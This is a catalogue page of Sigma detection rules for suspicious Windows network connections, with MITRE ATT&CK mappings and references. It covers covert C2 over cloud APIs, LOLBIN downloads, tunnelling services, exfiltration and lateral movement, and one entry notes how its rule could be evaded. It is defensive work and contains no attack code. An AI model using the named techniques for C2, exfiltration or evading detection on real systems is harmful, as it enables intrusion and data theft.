https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml

Potential Process Hollowing Activity

Detects when a memory process image does not match the disk image, indicative of process hollowing.

The tag is: *misp-galaxy:sigma-rules="Potential Process Hollowing Activity"*

View relationships graph

Potential Process Hollowing Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

Table 16036. Table References

Links
https://twitter.com/SecurePeacock/status/1486054048390332423?s=20

https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_tampering/proc_tampering_susp_process_hollowing.yml

Suspicious Non-Browser Network Communication With Telegram API

Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2

The tag is: *misp-galaxy:sigma-rules="Suspicious Non-Browser Network Communication With Telegram API"*

View relationships graph

Suspicious Non-Browser Network Communication With Telegram API has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16037. Table References

Links
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/small-sieve/NCSC-MAR-Small-Sieve.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_telegram_api_non_browser_access.yml

Network Connection Initiated By Regsvr32.EXE

Detects a network connection initiated by "Regsvr32.exe"

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated By Regsvr32.EXE"*

View relationships graph

Network Connection Initiated By Regsvr32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-

language:likelihood-probability="almost-certain"

Table 16038. Table References

Links
https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml

Network Connection Initiated To Visual Studio Code Tunnels Domain

Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated To Visual Studio Code Tunnels Domain"*

View relationships graph

Network Connection Initiated To Visual Studio Code Tunnels Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 16039. Table References

Links
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://cydefops.com/vscode-data-exfiltration
https://badoption.eu/blog/2023/01/31/code_c2.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_vscode_tunnel_connection.yml

Network Connection Initiated To DevTunnels Domain

Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated To DevTunnels Domain"*

View relationships graph

Network Connection Initiated To DevTunnels Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 16040. Table References

Links
https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/security
https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2
https://cydefops.com/devtunnels-unleashed
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_devtunnels.yml

Network Connection Initiated To Mega.nz

Detects a network connection initiated by a binary to "api.mega.co.nz". Attackers were seen abusing file sharing websites similar to "mega.nz" in order to upload/download additional payloads.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated To Mega.nz"*

View relationships graph

Network Connection Initiated To Mega.nz has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 16041. Table References

Links
https://www.mandiant.com/resources/russian-targeting-gov-business
https://megatools.megous.com/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_mega_nz.yml

RDP Over Reverse SSH Tunnel

Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389

The tag is: *misp-galaxy:sigma-rules="RDP Over Reverse SSH Tunnel"*

View relationships graph

RDP Over Reverse SSH Tunnel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 16042. Table References

Links
https://twitter.com/cyb3rops/status/1096842275437625346
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml

Rundll32 Internet Connection

Detects a rundll32 that communicates with public IP addresses

The tag is: *misp-galaxy:sigma-rules="Rundll32 Internet Connection"*

View relationships graph

Rundll32 Internet Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 16043. Table References

Links
https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml

Potentially Suspicious Network Connection To Notion API

Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as "OffensiveNotion C2"

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Network Connection To Notion API"*

View relationships graph

Potentially Suspicious Network Connection To Notion API has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 16044. Table References

Links
https://github.com/mttaggart/OffensiveNotion
https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_notion_api_susp_communication.yml

Suspicious Outbound SMTP Connections

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

The tag is: *misp-galaxy:sigma-rules="Suspicious Outbound SMTP Connections"*

View relationships graph

Suspicious Outbound SMTP Connections has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 16045. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp
https://www.ietf.org/rfc/rfc2821.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml

Network Connection Initiated via Finger.EXE

Detects network connections via finger.exe, which can be abused by threat actors to retrieve remote commands for execution on Windows devices. In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server. Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion. Investigating such network connections can also help identify potential malicious infrastructure used by threat actors

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated via Finger.EXE"*

View relationships graph

Network Connection Initiated via Finger.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 16046. Table References

Links
https://www.bleepingcomputer.com/news/security/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_finger.yml

Microsoft Sync Center Suspicious Network Connections

Detects suspicious connections from Microsoft Sync Center to non-private IPs.

The tag is: *misp-galaxy:sigma-rules="Microsoft Sync Center Suspicious Network Connections"*

View relationships graph

Microsoft Sync Center Suspicious Network Connections has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16047. Table References

Links
https://redcanary.com/blog/intelligence-insights-november-2021/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml

Suspicious Non-Browser Network Communication With Google API

Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)

The tag is: *misp-galaxy:sigma-rules="Suspicious Non-Browser Network Communication With Google*

API"

View relationships graph

Suspicious Non-Browser Network Communication With Google API has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 16048. Table References

Links
https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/
https://www.bleepingcomputer.com/news/security/hackers-abuse-google-command-and-control-red-team-tool-in-attacks/
https://github.com/looCiprian/GC2-sheet
https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf
https://youtu.be/n2dFlSaBBKo
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_google_api_non_browser_access.yml

Communication To Uncommon Destination Ports

Detects programs that connect to uncommon destination ports

The tag is: *misp-galaxy:sigma-rules="Communication To Uncommon Destination Ports"*

View relationships graph

Communication To Uncommon Destination Ports has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

Table 16049. Table References

Links
https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_malware_callback_ports_uncommon.yml

Network Connection Initiated By IMEWDBLD.EXE

Detects a network connection initiated by IMEWDBLD.EXE. This might indicate potential abuse of the utility as a LOLBIN in order to download arbitrary files or additional payloads.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated By IMEWDBLD.EXE"*

View relationships graph

Network Connection Initiated By IMEWDBLD.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16050. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download
https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml

Outbound Network Connection Initiated By Script Interpreter

Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.

The tag is: *misp-galaxy:sigma-rules="Outbound Network Connection Initiated By Script Interpreter"*

View relationships graph

Outbound Network Connection Initiated By Script Interpreter has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16051. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wscript_cscript_outbound_connection.yml

Network Communication Initiated To Portmap.IO Domain

Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors

The tag is: *misp-galaxy:sigma-rules="Network Communication Initiated To Portmap.IO Domain"*

View relationships graph

Network Communication Initiated To Portmap.IO Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"

Table 16052. Table References

Links
https://github.com/rapid7/metasploit-framework/issues/11337
https://portmap.io/
https://pro.twitter.com/JaromirHorejsi/status/1795001037746761892/photo/2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_portmap.yml

Outbound Network Connection Initiated By Cmstp.EXE

Detects a network connection initiated by Cmstp.EXE Its uncommon for "cmstp.exe" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious.

The tag is: *misp-galaxy:sigma-rules="Outbound Network Connection Initiated By Cmstp.EXE"*

View relationships graph

Outbound Network Connection Initiated By Cmstp.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 16053. Table References

Links
https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_cmstp_initiated_connection.yml

Office Application Initiated Network Connection To Non-Local IP

Detects an office application (Word, Excel, PowerPoint) that initiate a network connection to a non-

private IP addresses. This rule aims to detect traffic similar to one seen exploited in CVE-2021-42292. This rule will require an initial baseline and tuning that is specific to your organization.

The tag is: *misp-galaxy:sigma-rules="Office Application Initiated Network Connection To Non-Local IP"*

View relationships graph

Office Application Initiated Network Connection To Non-Local IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 16054. Table References

Links
https://corelight.com/blog/detecting-cve-2021-42292
https://learn.microsoft.com/de-de/microsoft-365/enterprise/urls-and-ip-address-ranges?view=o365-worldwide
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_office_outbound_non_local_ip.yml

Python Initiated Connection

Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.

The tag is: *misp-galaxy:sigma-rules="Python Initiated Connection"*

View relationships graph

Python Initiated Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 16055. Table References

Links
https://pypi.org/project/scapy/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml

Network Connection Initiated To Cloudflared Tunnels Domains

Detects network connections to Cloudflared tunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated To Cloudflared Tunnels Domains"*

View relationships graph

Network Connection Initiated To Cloudflared Tunnels Domains has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 16056. Table References

Links
https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/
https://defr0ggy.github.io/research/Abusing-Cloudflared-A-Proxy-Service-To-Host-Share-Applications/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_cloudflared_communication.yml

Silenttrinity Stager Msbuild Activity

Detects a possible remote connections to Silenttrinity c2

The tag is: *misp-galaxy:sigma-rules="Silenttrinity Stager Msbuild Activity"*

View relationships graph

Silenttrinity Stager Msbuild Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"

Table 16057. Table References

Links
https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml

RDP to HTTP or HTTPS Target Ports

Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443

The tag is: *misp-galaxy:sigma-rules="RDP to HTTP or HTTPS Target Ports"*

View relationships graph

RDP to HTTP or HTTPS Target Ports has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 16058. Table References

Links
https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling
https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml

Local Network Connection Initiated By Script Interpreter

Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder.

The tag is: *misp-galaxy:sigma-rules="Local Network Connection Initiated By Script Interpreter"*

View relationships graph

Local Network Connection Initiated By Script Interpreter has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16059. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wscript_cscript_local_connection.yml

Office Application Initiated Network Connection Over Uncommon Ports

Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.

The tag is: *misp-galaxy:sigma-rules="Office Application Initiated Network Connection Over Uncommon Ports"*

Table 16060. Table References

Links
https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_office_uncommon_ports.yml

Network Connection Initiated By AddinUtil.EXE

Detects a network connection initiated by the Add-In deployment cache updating utility "AddInutil.exe". This could indicate a potential command and control communication as this tool doesn't usually initiate network activity.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated By AddinUtil.EXE"*

View relationships graph

Network Connection Initiated By AddinUtil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16061. Table References

Links
https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_addinutil_initiated.yml

Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder

Detects executables located in potentially suspicious directories initiating network connections towards file sharing domains.

The tag is: *misp-galaxy:sigma-rules="Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder"*

View relationships graph

Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16062. Table References

Links
https://twitter.com/M_haggis/status/900741347035889665
https://twitter.com/M_haggis/status/1032799638213066752
https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://www.cisa.gov/uscert/ncas/alerts/aa22-321a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_file_sharing_domains_susp_folders.yml

Potentially Suspicious Wuauclt Network Connection

Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections. One could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Wuauclt Network Connection"*

View relationships graph

Potentially Suspicious Wuauclt Network Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16063. Table References

Links
https://dtm.uk/wuauclt/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml

Network Connection Initiated Via Notepad.EXE

Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network

communication except when printing documents for example.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated Via Notepad.EXE"*

View relationships graph

Network Connection Initiated Via Notepad.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 16064. Table References

Links
https://web.archive.org/web/20200219102749/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf
https://www.cobaltstrike.com/blog/why-is-notepad-exe-connecting-to-the-internet
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad.yml

RegAsm.EXE Initiating Network Connection To Public IP

Detects "RegAsm.exe" initiating a network connection to public IP adresses

The tag is: *misp-galaxy:sigma-rules="RegAsm.EXE Initiating Network Connection To Public IP"*

View relationships graph

RegAsm.EXE Initiating Network Connection To Public IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"

Table 16065. Table References

Links
https://research.splunk.com/endpoint/07921114-6db4-4e2e-ae58-3ea8a52ae93f/
https://lolbas-project.github.io/lolbas/Binaries/Regasm/
https://app.any.run/tasks/ec207948-4916-47eb-a0f4-4c6abb2e7668/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regasm_network_activity.yml

Outbound Network Connection Initiated By Microsoft Dialer

Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"

The tag is: *misp-galaxy:sigma-rules="Outbound Network Connection Initiated By Microsoft Dialer"*

View relationships graph

Outbound Network Connection Initiated By Microsoft Dialer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16066. Table References

Links
https://strontic.github.io/xcyclopedia/library/dialer.exe-0B69655F912619756C704A0BF716B61F.html
https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/
https://app.any.run/tasks/6720b85b-9c53-4a12-b1dc-73052a78477d
https://tria.ge/240301-rk34sagf5x/behavioral2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dialer_initiated_connection.yml

Suspicious Network Connection Binary No CommandLine

Detects suspicious network connections made by a well-known Windows binary run with no command line parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious Network Connection Binary No CommandLine"*

Table 16067. Table References

Links
https://redcanary.com/blog/raspberry-robin/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml

Process Initiated Network Connection To Ngrok Domain

Detects an executable initiating a network connection to "ngrok" domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.

The tag is: *misp-galaxy:sigma-rules="Process Initiated Network Connection To Ngrok Domain"*

View relationships graph

Process Initiated Network Connection To Ngrok Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 16068. Table References

Links
https://ngrok.com/
https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf
https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/
https://ngrok.com/blog-post/new-ngrok-domains
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_ngrok.yml

Uncommon Connection to Active Directory Web Services

Detects uncommon network connections to the Active Directory Web Services (ADWS) from processes not typically associated with ADWS management.

The tag is: *misp-galaxy:sigma-rules="Uncommon Connection to Active Directory Web Services"*

View relationships graph

Uncommon Connection to Active Directory Web Services has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-

language:likelihood-probability="almost-certain"

Table 16069. Table References

Links
https://medium.com/falconforce/soaphound-tool-to-collect-active-directory-data-via-adws-165aca78288c
https://github.com/FalconForceTeam/FalconFriday/blob/a9219dfcfd89836f34660223f47d766982bdce46/Discovery/ADWS_Connection_from_Unexpected_Binary-Win.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_adws_unusual_connection.yml

Network Communication With Crypto Mining Pool

Detects initiated network connections to crypto mining pools

The tag is: *misp-galaxy:sigma-rules="Network Communication With Crypto Mining Pool"*

View relationships graph

Network Communication With Crypto Mining Pool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

Table 16070. Table References

Links
https://www.virustotal.com/gui/search/behaviour_network%253A*.miningocean.org/files
https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/static/suspicious/crypto_mining.txt
https://www.poolwatch.io/coin/monero
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_crypto_mining_pools.yml

Outbound RDP Connections Over Non-Standard Tools

Detects Non-Standard tools initiating a connection over port 3389 indicating possible lateral movement. An initial baseline is required before using this utility to exclude third party RDP tooling that you might use.

The tag is: *misp-galaxy:sigma-rules="Outbound RDP Connections Over Non-Standard Tools"*

View relationships graph

Outbound RDP Connections Over Non-Standard Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with

estimative-language:likelihood-probability="almost-certain"

Table 16071. Table References

Links
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_outbound_over_non_standard_tools.yml

Uncommon Outbound Kerberos Connection

Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.

The tag is: *misp-galaxy:sigma-rules="Uncommon Outbound Kerberos Connection"*

View relationships graph

Uncommon Outbound Kerberos Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

Table 16072. Table References

Links
https://github.com/GhostPack/Rubeus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml

Network Connection Initiated To AzureWebsites.NET By Non-Browser Process

Detects an initiated network connection by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.

The tag is: *misp-galaxy:sigma-rules="Network Connection Initiated To AzureWebsites.NET By Non-Browser Process"*

View relationships graph

Network Connection Initiated To AzureWebsites.NET By Non-Browser Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 16073. Table References

Links
https://symantec-enterprise-blogs.security.com/threat-intelligence/harvester-new-apt-attacks-asia
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/
https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_azurewebsites.yml

Suspicious Dropbox API Usage

Detects an executable that isn't dropbox but communicates with the Dropbox API

The tag is: *misp-galaxy:sigma-rules="Suspicious Dropbox API Usage"*

View relationships graph

Suspicious Dropbox API Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 16074. Table References

Links
https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east
https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb
